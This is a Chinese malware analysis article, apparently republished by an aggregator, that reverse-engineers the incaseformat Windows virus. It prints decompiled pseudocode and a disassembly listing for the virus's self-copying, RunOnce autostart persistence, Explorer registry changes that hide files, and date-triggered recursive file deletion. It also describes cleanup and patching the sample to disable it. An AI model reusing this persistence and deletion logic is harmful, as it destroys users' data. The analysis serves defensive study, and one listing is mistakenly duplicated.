13

深入解析 incaseformat 病毒

 3 years ago
source link: https://mp.weixin.qq.com/s/GJgLmrGryvtZosIjpYNAcg
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

读懂Incaseformat病毒

  1. 这个病毒的庐山真面目。

e6jy2aQ.png!mobile
  1. 这个病毒界面的开关

ZBzQriq.png!mobile
  1. 这个病毒样本的具体功能如下

vyABZfA.png!mobile
  1. 这个病毒清理的原理

    (大家可以直接使用杀毒软件应该都更新了对这个的检测)

    以下是清理这个病毒的原理

  • 将系统盘下的Window文件夹下面的tsay.exe 和ttry.exe删除了

  • 删除注册表中被病毒设置的自启动项在具体的SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 这个下面的tsay.exe信息。

  • 将病毒文件强制修改的文件隐藏属性恢复回来,建议直接从文件夹选项上去修改就好,简单便捷,注册表修改的话比较繁琐。

还原Incaseformat病毒

  1. 逆向还原病毒需要用到的工具

  • exeinfope.exe:用于查壳和查开发语言

  • Procmon.exe:用于监控应用程序的启动运行行为

  • Ollydbg.exe: 用于动态调试分析破解病毒样本

  • IDA.exe:用于静态分析病毒样本

  • DeDe.exe:用于分析delphi控件相关信息

  1. 对病毒进行查壳

  • 操作方法:可以将病毒文件直接拖进Exeinfo.exe工具也可以选择用打开方式将病毒文件加载起来。

  • 通过下图PE加载工具我们可以很清晰的看到该tsay.exe是32位的应用程序,而且它是用Delphi语言开发的。

EnE3ymZ.png!mobile

  • 通过下面区段信息看到这个就是一个delphi标准的区段信息,delphi的正常的区段信息是包含8个区段信息。而且这个病毒文件是没有进行加壳加密保护的,其实就是个一个在裸奔的程序,这个给我们逆向还原其功能大大减少了非常多的时间精力了。直接帮我们免了走脱壳解密的步骤,我们就可以直接拿起工具开始进行逆向之旅了。

y6JjEny.png!mobile

  1. 对病毒文件进行界面及控件详细分析

  • 通过DeDe工具上分析到,该病毒文件其实就是一个很简单的delphi应用程序,它界面上就一个Label1控件和4个定时器控件而已。

IvyQraM.png!mobile

  • 通过DeDe分析工具我们可以看到,其实这个病毒程序就由五个部分功能组成的,分别为FromCreate、Timer1Timer、Timer2Timer、Timer3Timer、Timer4Timer,其中FromCreate类似于程序的入口函数(main),剩下4个就是个定时器函数。

3yemiiZ.png!mobile
  • 结合DeDe工具分析可以还原出该病毒软件其实就是默认创建的Delphi窗口程序,外加几个定时器功能的。

  • Delphi是一个可视化的语言类似于MFC主要用于做可视化用的,但是在启动病毒样本的时候发现没弹出任何对话框,这个就涉及到Delphi隐藏窗口的功能,它的实现原理:delphi中Form.Create创建完窗口,不调用Form.Show就实现隐藏窗口功能。

rm22Yj3.png!mobile
  1. 逆向还原病毒样本具体功能

  • 4.1 逆向的要点:逆向delphi程序一般从控件及事件进行作为逆向的突破口进行分析,在IDA中结合样本中的字符串信息以及样本中所加载的导入表中的相关函数信息进行做分析。

  • 4.2 通过用IDA工具进行静态方式逆向分析还原TForm1_FormCreate这个函数功能,这个函数也是这个病毒样本的入口函数,病毒的功能起源就是这个函数。它主要功能:1.将病毒样本放置到系统盘的window目录下进行伪装成为系统程序。2.将病毒文件写入到注册表中的开机自启动项里面,以实现每次开机就启动病毒样本。

下面是病毒样本的IDA中通过强大的F5功能将汇编代码转换为伪代码的详细解释:

int TForm1_FormCreate()
{
int System::AnsiString; // [sp+68h] [bp-4h]@1
int savedregs; // [sp+6Ch] [bp+0h]@1

v22 = &savedregs;
v21 = &loc_44F324;
v20 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v20);
v19 = &savedregs;
v18 = &loc_44F302;
v17 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v17);
System::ParamStr(0);
Sysutils::ExtractFilePath(v43); // 从文件名称获取文件路径
System::ParamStr(0);
Sysutils::ExtractFileName(v40); // 从完整路径中或病毒文件的具体名称:tsay.exe
v14 = unknown_libname_69(v41) - 4;
System::ParamStr(0);
Sysutils::ExtractFileName(v39);
System::__linkproc__ LStrCopy(&v42);
System::__linkproc__ LStrCat(&System::AnsiString, v42);
if ( (unsigned __int8)Sysutils::DirectoryExists(System::AnsiString) )// 判断存放病毒文件的文件夹是否存在
{
System::ParamStr(0);
Sysutils::ExtractFilePath(v37);
System::ParamStr(0);
Sysutils::ExtractFileName(v34);
unknown_libname_69(v35);
System::ParamStr(0);
Sysutils::ExtractFileName(v33);
System::__linkproc__ LStrCopy(&v36);
System::__linkproc__ LStrCatN(&v38, 3, v0, v36, &str___16[1]);
v1 = (const CHAR *)System::__linkproc__ LStrToPChar(v38);
ShellExecuteA(0, 0, v1, 0, 0, 1);
}
if ( !(unsigned __int8)Sysutils::FileExists((const int)&str_C__windows_tsay[1]) )// 判断tsay.exe病毒文件是否存在
{ // 这是执行病毒文件不存在的功能
System::ParamStr(0); // 获取病毒文件的绝对路径
v2 = (const CHAR *)System::__linkproc__ LStrToPChar(v32);// 类型转换
CopyFileA(v2, "C:\\windows\\tsay.exe", -1);// 将病毒文件拷贝复制c:\\windows\\tsay.exe
v3 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);// TRegistry对象来操作注册表
Registry::TRegistry::SetRootKey(v3, 0x80000002);// 设置注册表属性值
LOBYTE(v4) = 1;
// SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 为了病毒文件开机自启动
Registry::TRegistry::OpenKey(v3, (const int)&str_SOFTWARE_Micros[1], v4);
Registry::TRegistry::WriteString(v3, &str_msfsa[1], &str_C__windows_tsay[1]);// 将tsay.exe病毒文件写入到注册表中
Registry::TRegistry::CloseKey(v3); // 关闭打开的注册表
v5 = System::TObject::Free(v3); // 释放对象值
System::__linkproc__ Halt0(v5);
}
// 病毒文件存在的情况
v16 = &savedregs;
v15 = &loc_44F1A6;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
System::ParamStr(0); // 获取病毒文件的绝对路径
v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v31);
CopyFileA(v6, "C:\\windows\\tsay.exe", 0);// 将病毒文件拷贝复制c:\\windows\\tsay.exe
__writefsdword(0, v14);
v16 = &savedregs;
v15 = &loc_44F20F;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
v7 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);// 操作注册表
Registry::TRegistry::SetRootKey(v7, 0x80000002);// 设置注册表key值
LOBYTE(v8) = 1;
// 操作注册表 SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 实现病毒文件开机自启动
Registry::TRegistry::OpenKey(v7, (const int)&str_SOFTWARE_Micros[1], v8);
Registry::TRegistry::WriteString(v7, &str_msfsa[1], &str_C__windows_tsay[1]);// 将病毒文件写入到注册表开机启动项
Registry::TRegistry::CloseKey(v7); // 关闭注册表操作
System::TObject::Free(v7);
__writefsdword(0, v14);
System::ParamStr(0);
Sysutils::UpperCase(v29); // 进行类型转换,将小写转为大写
v16 = v30;
Sysutils::UpperCase((const int)&str_C__windows_tsay[1]);
System::__linkproc__ LStrCmp(v16, v28); // 比较字符串
if ( v9 )
{
v16 = &savedregs;
v15 = &loc_44F2C5;
v14 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v14);
System::ParamStr(0); // 获取病毒文件绝对路径
v11 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);// 进行类型转换
CopyFileA(v11, "C:\\windows\\ttry.exe", 0);// 将病毒文件拷贝复制到c:\\window\\tty.exe
__writefsdword(0, v14);
v12 = ShellExecuteA(0, 0, "C:\\windows\\ttry.exe", 0, 0, 0);// 运行病毒文件tty.exe
System::__linkproc__ Halt0(v12);
}
System::ParamStr(0);
Sysutils::UpperCase(v26);
v16 = v27;
Sysutils::UpperCase((const int)&str_C__windows_ttry[1]);
v10 = System::__linkproc__ LStrCmp(v16, v25);
if ( !v9 )
System::__linkproc__ Halt0(v10);
__writefsdword(0, v17);
__writefsdword(0, (unsigned int)v21);
v23 = &loc_44F32B;
return System::__linkproc__ LStrArrayClr(&v24, 24);
}
  • 下面是 TForm1_FormCreate 函数执行完的效果图 系统目录下已经拷贝进来了病毒文件 auYfIr6.png!mobile 病毒文件已写入到注册表,重启机器就会在开机自动启动病毒样本程序,我们在任务管理器上就可以看到ttry.exe的应用程序了。

qAnQ7j3.png!mobile

  • 4.3 通过IDA进行静态逆向分析还原TForm1_Timer1Timer这个定时器函数的功能,这个函数的主要功能:1.获取病毒样本运行环境下的所有磁盘信息,2.遍历查找所有类型的文件。

  • 下面是病毒样本中Timer1Timer定时器功能在IDA中几个关键函数的详细解释:

int __usercall TForm1_Timer1Timer@<eax>(int a1@<eax>, int a2@<ebx>)
{
v8 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v8);
unknown_libname_426(*(_DWORD *)(a1 + 760), 0);
unknown_libname_426(*(_DWORD *)(v14 + 768), 1);// 开启定时器的功能
v7 = &savedregs;
v6 = &loc_44EC43;
v5 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v5);
v13 = (System::TObject *)unknown_libname_42((int)cls_Classes_TStringList, 1);
sub_44E5C8(&v13, a2); // 获取病毒样本运行环境下存在磁盘的具体信息,其中V13是返回具体磁盘信息
v2 = (*(int (__stdcall **)(unsigned __int32, void *, int *, unsigned __int32))(*(_DWORD *)v13 + 20))(v5, v6, v7, v8)
- 1;
if ( v2 > 0 )
{
v3 = 1;
do
{
(*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v13 + 12))(v13, v3, &v12);
sub_44EAB4(v12); // 遍历查找所有类型的文件
++v3;
--v2;
}
while ( v2 );
}
__writefsdword(0, (unsigned int)v9);
v11 = &loc_44EC4A;
unknown_libname_426(*(_DWORD *)(v14 + 760), 1);
System::TObject::Free(v13);
__writefsdword(0, (unsigned int)v9);
v11 = &loc_44EC67;
return System::__linkproc__ LStrClr(&v12);
}
  • 下面的函数是上面 Timer1Timer 定时器函数的内部调用获取磁盘信息调用的具体代码实现

int __usercall sub_44E5C8@<eax>(_DWORD *a1@<eax>, int a2@<ebx>)
{

__writefsdword(0, (unsigned int)&v7);
v2 = 67; // 67对于的ASCII表示的是C
do
{ // 循环便利从C盘到Z盘是否存在
if ( sub_44E54C(v2) ) // 通过DiskSize函数来判断磁盘是否存在
{ // 下面表示的是存在的情况
RootPathName = v2;
v16 = 58;
v17 = 0;
v3 = GetDriveTypeA(&RootPathName); // 判断磁盘类型
if ( v3 == 2 ) // 2表示软盘
{
v13 = v2;
v12 = 1;
System::__linkproc__ PStrCpy(&v11, &v12);// 字符串拷贝
LOBYTE(v4) = 2;
System::__linkproc__ PStrNCat(&v11, &dword_44E6CC, v4);// 字符串拼接
unknown_libname_67((int)&v14, &v11);
(*(void (__fastcall **)(_DWORD, int))(*(_DWORD *)*v18 + 56))(*v18, v14);// 存储到列表里面
}
if ( v3 == 3 ) // 3表示是本机硬盘
{
v13 = v2;
v12 = 1;
System::__linkproc__ PStrCpy(&v11, &v12);
LOBYTE(v5) = 2;
System::__linkproc__ PStrNCat(&v11, &dword_44E6CC, v5);
unknown_libname_67((int)&v10, &v11);
(*(void (__fastcall **)(_DWORD, int))(*(_DWORD *)*v18 + 56))(*v18, v10);
}
}
++v2;
}
while ( v2 != 91 ); // 91在ASCII表里面表示的是[,其实就是遍历的Z盘
__writefsdword(0, v7);
v9 = (int *)&loc_44E6C3;
System::__linkproc__ LStrClr(&v10);
return System::__linkproc__ LStrClr(&v14); // 讲记录的列表信息返还回去
}
  • 下面函数是通过遍历查找所有类型文件并进行记录

int __fastcall sub_44E6D0(int a1, int a2)
{

System::__linkproc__ LStrAddRef(v10);
unknown_libname_74((int)&FatTime, (int)&byte_406E1C);
v9 = &savedregs;
v8 = &loc_44E882;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
v16 = (System::TObject *)unknown_libname_42((int)cls_Classes_TStringList, 1);
v6 = &savedregs;
v5 = &loc_44E82E;
v4 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v4);
System::__linkproc__ LStrCat3(&v12, v18, &str____[1]);// *.*类型
Sysutils::FindFirst(v12, 63, &FatTime); // 进行文件的查找
if ( (v14 & 0x10) > 0 )
{
System::__linkproc__ LStrCmp(v15, &str___1[1]);// .类型,也就是全部文件
if ( !v2 )
(*(void (__fastcall **)(System::TObject *, int))(*(_DWORD *)v16 + 56))(v16, v15);
}
while ( !Sysutils::FindNext(&FatTime) )
{
if ( (v14 & 0x10) > 0 )
{
System::__linkproc__ LStrCmp(v15, &str___[1]);// ..类型
if ( !v2 )
(*(void (__fastcall **)(System::TObject *, int))(*(_DWORD *)v16 + 56))(v16, v15);
}
}
Sysutils::FindClose(&FatTime);
System::__linkproc__ LStrCat3(&v11, v18, &str____[1]);
Sysutils::FindFirst(v11, 7, &FatTime);
while ( !Sysutils::FindNext(&FatTime) )
;
Sysutils::FindClose(&FatTime);
__writefsdword(0, v4);
(*(void (__fastcall **)(System::TObject *, int, _DWORD))(*(_DWORD *)v16 + 28))(v16, v17, *(_DWORD *)v16);
System::TObject::Free(v16);
__writefsdword(0, (unsigned int)v8);
v10 = &loc_44E889;
System::__linkproc__ LStrArrayClr(&v11, 2);
System::__linkproc__ FinalizeRecord(&FatTime, &byte_406E1C);
return System::__linkproc__ LStrClr(&v18);
}
  • 4.4 通过IDA进行静态逆向分析还原TForm1_Timer2Timer这个定时器函数的功能,这个函数的主要功能:1.用于获取当前所有样本下的所有磁盘信息,2.判断时间开启病毒删除文件的功能。

  • 下面是病毒样本中TForm1_Timer2Timer定时器功能的几个关键函数的详细解释

int __usercall TForm1_Timer2Timer@<eax>(int a1@<eax>, int a2@<ebx>, long double a3@<st0>)
{
System::TObject *v14; // [sp+10h] [bp-1Ch]@1
unsigned __int16 v15; // [sp+16h] [bp-16h]@1
unsigned __int16 v16; // [sp+18h] [bp-14h]@1
long double System::TDateTime; // [sp+1Ah] [bp-12h]@1
int v18; // [sp+28h] [bp-4h]@1
int savedregs; // [sp+2Ch] [bp+0h]@1

v13 = 0;
v18 = a1;
v12 = &savedregs;
v11 = &loc_44EFA1;
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
unknown_libname_426(*(_DWORD *)(a1 + 764), 0);// 设置启动定时器
v9 = &savedregs;
v8 = &loc_44EF84;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
v14 = (System::TObject *)unknown_libname_42((int)cls_Classes_TStringList, 1);
Sysutils::Now(); // 获取当前系统的时间
*(double *)((char *)&System::TDateTime + 2) = a3;
sub_44E5C8(&v14, a2); // 用于获取当前环境下的所有磁盘数据
// 将时间拆分成月,日,其中V15是月,V14是日
Sysutils::DecodeDate(
(const int)&System::TDateTime,
&v16,
&v15,
*(unsigned __int16 **)((char *)&System::TDateTime + 2));
if ( LOWORD(System::TDateTime) > 0x7D9u ) // 判断当前时间是否大于2009年
{
if ( v16 > 3u ) // 当前月份是否大于3月
{
if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )// 当前日期是否等于1,10,21,29
{
v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;
if ( v3 > 0 )
{
v4 = 1;
do
{
(*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);
sub_44EC70(v13); // 用于循环操作删除文件及文件夹
++v4;
--v3;
}
while ( v3 );
}
}
System::TObject::Free(v14);
v5 = v7;
__writefsdword(0, v7);
v9 = (int *)&loc_44EF8B;
LOBYTE(v5) = 1;
unknown_libname_426(*(_DWORD *)(v18 + 764), v5);
}
else
{
System::__linkproc__ TryFinallyExit(v7, v8, v9);
}
}
else
{
System::__linkproc__ TryFinallyExit(v7, v8, v9);
}
__writefsdword(0, v10);
v12 = (int *)&loc_44EFA8;
return System::__linkproc__ LStrClr(&v13);
}
  • 下面函数是通过遍历并用递归方式进行批量的删除磁盘中的所有文件

int __usercall TForm1_Timer2Timer@<eax>(int a1@<eax>, int a2@<ebx>, long double a3@<st0>)
{

long double System::TDateTime; // [sp+1Ah] [bp-12h]@1
int v18; // [sp+28h] [bp-4h]@1
int savedregs; // [sp+2Ch] [bp+0h]@1

v13 = 0;
v18 = a1;
v12 = &savedregs;
v11 = &loc_44EFA1;
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
unknown_libname_426(*(_DWORD *)(a1 + 764), 0);// 设置启动定时器
v9 = &savedregs;
v8 = &loc_44EF84;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
v14 = (System::TObject *)unknown_libname_42((int)cls_Classes_TStringList, 1);
Sysutils::Now(); // 获取当前系统的时间
*(double *)((char *)&System::TDateTime + 2) = a3;
sub_44E5C8(&v14, a2); // 用于获取当前环境下的所有磁盘数据
// 将时间拆分成月,日,其中V16是月,V15是日
Sysutils::DecodeDate(
(const int)&System::TDateTime,
&v16,
&v15,
*(unsigned __int16 **)((char *)&System::TDateTime + 2));
if ( LOWORD(System::TDateTime) > 0x7D9u ) // 判断当前时间是否大于2009年
{
if ( v16 > 3u ) // 当前月份是否大于3月
{
if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )// 当前日期是否等于1,10,21,29
{
v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;
if ( v3 > 0 )
{
v4 = 1;
do
{
(*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);
sub_44EC70(v13); // 用于循环操作删除文件及文件夹
++v4;
--v3;
}
while ( v3 );
}
}
System::TObject::Free(v14);
v5 = v7;
__writefsdword(0, v7);
v9 = (int *)&loc_44EF8B;
LOBYTE(v5) = 1;
unknown_libname_426(*(_DWORD *)(v18 + 764), v5);
}
else
{
System::__linkproc__ TryFinallyExit(v7, v8, v9);
}
}
else
{
System::__linkproc__ TryFinallyExit(v7, v8, v9);
}
__writefsdword(0, v10);
v12 = (int *)&loc_44EFA8;
return System::__linkproc__ LStrClr(&v13);
}
  • 4.5 通过IDA进行静态逆向分析还原TForm1_Timer3Timer这个定时器函数的功能,这个函数的主要功能:通过注册表方式进行对病毒文件进行隐藏后缀名称,以及隐藏文件夹。

  • 下面是病毒样本TForm1_Timer3Timer定时器功能的几个关键函数的详细解释:

int __fastcall TForm1_Timer3Timer(int a1)
{
System::TObject *v8; // [sp+0h] [bp-8h]@1
int v9; // [sp+4h] [bp-4h]@1
int savedregs; // [sp+8h] [bp+0h]@1

v9 = a1;
unknown_libname_426(*(_DWORD *)(a1 + 768), 0);
v7 = &savedregs;
v6 = &loc_44F505;
v5 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v5);
v8 = (System::TObject *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);// 操作注册表
Registry::TRegistry::SetRootKey(v8, 0x80000001);// 设置key值
LOBYTE(v1) = 1;
// 打开注册表Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced 进行隐藏操作
Registry::TRegistry::OpenKey(v8, (const int)&str_Software_Micros[1], v1);
// 写入HideFileExt 实现隐藏病毒文件的扩展名
Registry::TRegistry::WriteInteger(v8, (const int)&str_HideFileExt[1], 1);
// 写入Hidden
Registry::TRegistry::WriteInteger(v8, (const int)&str_Hidden[1], 2);
Registry::TRegistry::CloseKey(v8); // 关闭注册表
Registry::TRegistry::SetRootKey(v8, 0x80000002);// 设置key值
LOBYTE(v2) = 1;
// 打开注册表SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde
Registry::TRegistry::OpenKey(v8, (const int)&str_SOFTWARE_Micros_0[1], v2);
// 写入checkedvalue 实现隐藏病毒文件
Registry::TRegistry::WriteInteger(v8, (const int)&str_checkedvalue[1], 0);
Registry::TRegistry::CloseKey(v8);
Registry::TRegistry::SetRootKey(v8, 0x80000002);// 设置key值
LOBYTE(v3) = 1;
// SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde
Registry::TRegistry::OpenKey(v8, (const int)&str_SOFTWARE_Micros_1[1], v3);
if ( (unsigned __int8)Registry::TRegistry::ValueExists(v8, (const int)&str_checkedvalue[1]) )
// 删除HideFileExt
Registry::TRegistry::DeleteValue(v8, (const int)&str_checkedvalue[1]);
Registry::TRegistry::CloseKey(v8); // 关闭注册表
__writefsdword(0, v5);
v7 = (int *)&loc_44F50C;
unknown_libname_426(*(_DWORD *)(v9 + 768), 1);
return System::TObject::Free(v8);
}
  • 4.6 通过IDA进行静态逆向分析还原TForm1_Timer4Timer这个定时器的函数功能,这个函数的主要功能:遍历所有磁盘信息并对每个操作过的磁盘进行日志incaseformat.log文件。

  • 下面是病毒样本中TForm1_Timer4Timer定时器功能的几个关键函数的详细解释:

int __usercall TForm1_Timer4Timer@<eax>(int a1@<eax>, int a2@<ebx>)
{
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
v9 = &savedregs;
v8 = &loc_44F70B;
v7 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v7);
unknown_libname_426(*(_DWORD *)(a1 + 776), 0);// 定时器操作
v17 = (System::TObject *)unknown_libname_42((int)cls_Classes_TStringList, 1);
sub_44E5C8(&v17, a2); // 遍历获取样本运行环境的所有磁盘信息
v2 = (*(int (__stdcall **)(unsigned __int32, void *, int *, unsigned __int32))(*(_DWORD *)v17 + 20))(v7, v8, v9, v10)
- 1;
if ( v2 > 0 )
{
v18 = 1;
v3 = &v16;
do
{
v10 = 0xFFFF;
(*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v17 + 12))(v17, v18, (int *)&v14);
v9 = v14;
System::__linkproc__ LStrCatN(v15, 3, v4, &str___17[1], &str_incaseformat_lo[1]);// 路径和incaseformat.log
LOBYTE(v5) = 1;
// 用文件流方式进对每个磁盘创建并留下incaseformat.log标记
*(_DWORD *)v3 = Classes::TFileStream::TFileStream((Classes::TFileStream *)&off_411E10, v5, v15[0]);
++v18;
v3 += 4;
--v2;
}
while ( v2 );
}
__writefsdword(0, (unsigned int)v11);
v13 = &loc_44F712;
System::TObject::Free(v17);
__writefsdword(0, (unsigned int)v11);
v13 = &loc_44F734;
return System::__linkproc__ LStrArrayClr(&v14, 2);
}

破解Incaseformat病毒

  • 破解要点:通过进程行为监控工具以及动态调试工具相结合,进程监控工具检测监控到病毒样本操作文件及注册表的行为,动态调试工具,用字符串大法进行查看并跳转到代码段进行分析逻辑,并进行修改病毒样本的逻辑,使得病毒样本的真正逻辑功能执行不到。

  • 通过进程监控工具进行监控程序行为, 下面是进行监控指定进程的设置

ruIFZfe.png!mobile

  • 监控到病毒样本的启动行为:注册表,文件操作 Mvqi6jr.png!mobile

  • ollydbg动态调试工具进行附加调试并进行分析

  • 附加病毒样本进程,病毒样本确实是“感动中国特别奉献” qQJ7Jv.png!mobile

  • 在ollydbg中分析下程序中的字符串关键的信息

3yeIveu.png!mobile

  • 分析如下几个要破解操作的关键函数,可以通过下打开注册表的函数进行下端的,然后通过堆栈进行回溯查找方法进行分析。

f6rI7rV.png!mobile6RJbaiM.png!mobilezUFZRvY.png!mobile
  • 破解的关键地方:将拷贝到C:\\window\\目录和将病毒文件写入到注册表的判断的地方直接修改跳转到函数结束的地方。

0044F24A   .  8D55 A8       lea edx,dword ptr ss:[ebp-0x58]
0044F24D . 33C0 xor eax,eax
0044F24F . E8 9037FBFF call ttry.004029E4
0044F254 . 8B45 A8 mov eax,dword ptr ss:[ebp-0x58] ; ttry.00452868
0044F257 . 8D55 AC lea edx,dword ptr ss:[ebp-0x54]
0044F25A . E8 5188FBFF call ttry.00407AB0
0044F25F . 8B45 AC mov eax,dword ptr ss:[ebp-0x54] ; ttry.004194A5
0044F262 . 50 push eax
0044F263 . 8D55 A4 lea edx,dword ptr ss:[ebp-0x5C]
0044F266 . B8 C4F34400 mov eax,ttry.0044F3C4 ; C:\windows\ttry.exe
0044F26B . E8 4088FBFF call ttry.00407AB0
0044F270 . 8B55 A4 mov edx,dword ptr ss:[ebp-0x5C] ; ttry.0041949D
0044F273 . 58 pop eax ; user32.768766C9
0044F274 . E8 2B51FBFF call ttry.004043A4
0044F279 . 74 79 je short ttry.0044F2F4
0044F27B . E8 284CFBFF call ttry.00403EA8
0044F280 . A1 D00F4500 mov eax,dword ptr ds:[0x450FD0]
0044F285 . 8B00 mov eax,dword ptr ds:[eax] ; ttry.004026E7
0044F287 . E8 90DCFFFF call ttry.0044CF1C
0044F28C . EB 66 jmp short ttry.0044F2F4 ; 这里跳转到前面拷贝,执行操作注册表完要结束了
0044F28E > 33C0 xor eax,eax
0044F290 . 55 push ebp
0044F291 . 68 C5F24400 push ttry.0044F2C5
0044F296 . 64:FF30 push dword ptr fs:[eax]
0044F299 . 64:8920 mov dword ptr fs:[eax],esp
0044F29C . 6A 00 push 0x0
0044F29E . 68 D8F34400 push ttry.0044F3D8 ; C:\windows\ttry.exe
0044F2A3 . 8D55 A0 lea edx,dword ptr ss:[ebp-0x60]
0044F2A6 . 33C0 xor eax,eax
0044F2A8 . E8 3737FBFF call ttry.004029E4
0044F2AD . 8B45 A0 mov eax,dword ptr ss:[ebp-0x60]
0044F2B0 . E8 A351FBFF call ttry.00404458
0044F2B5 . 50 push eax ; |ExistingFileName = "?@"
0044F2B6 . E8 9D6CFBFF call <jmp.&kernel32.CopyFileA> ; \CopyFileA
0044F2BB . 33C0 xor eax,eax
0044F2C0 . 64:8910 mov dword ptr fs:[eax],edx
0044F2C3 . EB 0A jmp short ttry.0044F2CF
0044F2C5 .^ E9 1E44FBFF jmp ttry.004036E8
0044F2CA . E8 8147FBFF call ttry.00403A50
0044F2CF > 6A 00 push 0x0 ; /IsShown = 0x0
0044F2D1 . 6A 00 push 0x0 ; |DefDir = NULL
0044F2D3 . 6A 00 push 0x0 ; |Parameters = NULL
0044F2D5 . 68 D8F34400 push ttry.0044F3D8 ; |C:\windows\ttry.exe
0044F2DA . 6A 00 push 0x0 ; |Operation = NULL
0044F2DC . 6A 00 push 0x0 ; |hWnd = NULL
0044F2DE . E8 6555FDFF call <jmp.&shell32.ShellExecuteA> ; \ShellExecuteA
0044F2E3 . E8 C04BFBFF call ttry.00403EA8
0044F2E8 . A1 D00F4500 mov eax,dword ptr ds:[0x450FD0]
0044F2ED . 8B00 mov eax,dword ptr ds:[eax] ; ttry.004026E7
0044F2EF . E8 28DCFFFF call ttry.0044CF1C
  • 破解完功能后,再启动病毒样本功能已都失效了

fUzIb2q.png!mobile

更多安全相关的技术文章,请关注 “游戏安全攻防” 公众号,一起交流,一起进步。

6b2iAnj.png!mobile

恭喜看完了文章的全部内容,觉得文章对你有用点个赞,并分享给有需要的人。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK